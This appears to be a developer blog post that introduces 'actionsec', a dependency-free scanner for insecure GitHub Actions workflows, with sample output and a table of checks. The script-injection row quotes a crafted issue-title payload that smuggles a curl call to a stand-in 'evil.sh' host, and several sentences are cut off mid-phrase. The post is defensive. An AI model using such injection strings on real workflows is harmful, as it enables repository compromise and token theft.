# A zero-dep CLI that scans your GitHub Actions for the mistakes that actually get repos compromised

> Source: <https://dev.to/_06a3df6b50aec966668fb/a-zero-dep-cli-that-scans-your-github-actions-for-the-mistakes-that-actually-get-repos-compromised-1nnj>
> Published: 2026-06-12 07:17:05+00:00

Your CI workflow is the softest target in your repo. It runs automatically, it

has a `GITHUB_TOKEN`

that can push commits, and it can read your secrets. The

supply-chain attacks of 2025 — reviewdog, `tj-actions/changed-files`

— all came

in through the same unlocked door: a workflow that trusted a **mutable action
tag**, so when the upstream tag got repointed at malicious code, every consumer

The uncomfortable stat: [71% of repositories never pin their actions to a commit
SHA](https://arxiv.org/html/2502.06662v1).

`@v4`

is not a version — it's aI wanted a five-second check for this and the other top footguns, with nothing to

install and nothing to configure. So I built **actionsec**.

```
npx actionsec
.github/workflows/ci.yml
  ✗ critical  L12   pull-request-target-checkout  pull_request_target checks out PR head code — untrusted code runs with a write token
  ✗ critical  L16   script-injection              untrusted github.event.pull_request.title in a run step
  ✗ high      L5    broad-permissions             permissions: write-all gives the token full read/write
  ✗ high      L13   unpinned-action               some-marketplace/deploy-action@main is a mutable branch — pin to a SHA
  ✗ medium    L10   unpinned-action               actions/checkout@v4 is a mutable tag — pin to a SHA

✗ 5 issue(s) in 1 of 1 file(s) — 2 critical, 2 high, 1 medium
```

| Check | Why it matters |
|---|---|
unpinned-action |
`@v4` / `@main` is mutable. If the upstream tag is repointed (compromise or maintainer error), you run new code with your token. Pin to a 40-char SHA. |
script-injection |
`${{ github.event.issue.title }}` in a `run:` step is substituted into the shell before it runs — a crafted issue title like `"; curl evil.sh \ |
broad-permissions |
{% raw %}`permissions: write-all` hands the token the whole repo. One injected command and it's pushing to `main` . |
missing-permissions |
No `permissions:` block means the repo default — often more than the job needs. |
pull-request-target-checkout |
`pull_request_target` runs with a privileged token and secrets; checking out the PR's code then executes a stranger's code with them. |

Workflows are YAML, and here's the thing — **neither Node nor Python ships a YAML
parser in the standard library.** Pulling one in would mean the tool itself has a

So actionsec doesn't parse YAML into a tree at all. It scans line by line with

light block-awareness. That sounds crude, but it turns out every one of these

checks is *textually* distinctive — a `uses:`

line, a `${{ }}`

expression inside

a `run:`

block — so a careful line scanner catches them without ever needing to

understand the document structure. The payoff: it installs in one step, depends

on nothing, and runs in milliseconds. (It even distinguishes a third-party action

on a tag, `high`

, from a GitHub-owned `actions/*`

on a tag, `medium`

.)

It is **not** trying to replace [actionlint](https://github.com/rhysd/actionlint)

(YAML/syntax validation) or [zizmor](https://github.com/woodruffw/zizmor) (deep

dataflow analysis). It's the fast, zero-config first pass that fits in a pre-commit

hook or a one-line CI gate.

```
# fail the build on the serious stuff
- run: npx actionsec --min-severity high
```

Exit `0`

clean, `1`

issues found, `2`

error. `--format json`

for tooling.

```
npx actionsec          # Node — zero deps
pip install actionsec  # Python — pure stdlib, works on any repo
```

Both produce byte-for-byte identical output.

Point it at a repo you maintain — `npx actionsec path/to/repo`

— and tell me what

it finds. I'm especially curious how many `@v4`

s are hiding in workflows people

think of as "official and therefore safe."

When you write a workflow, do you pin actions to a SHA, or is `@v4`

good enough for

your threat model?
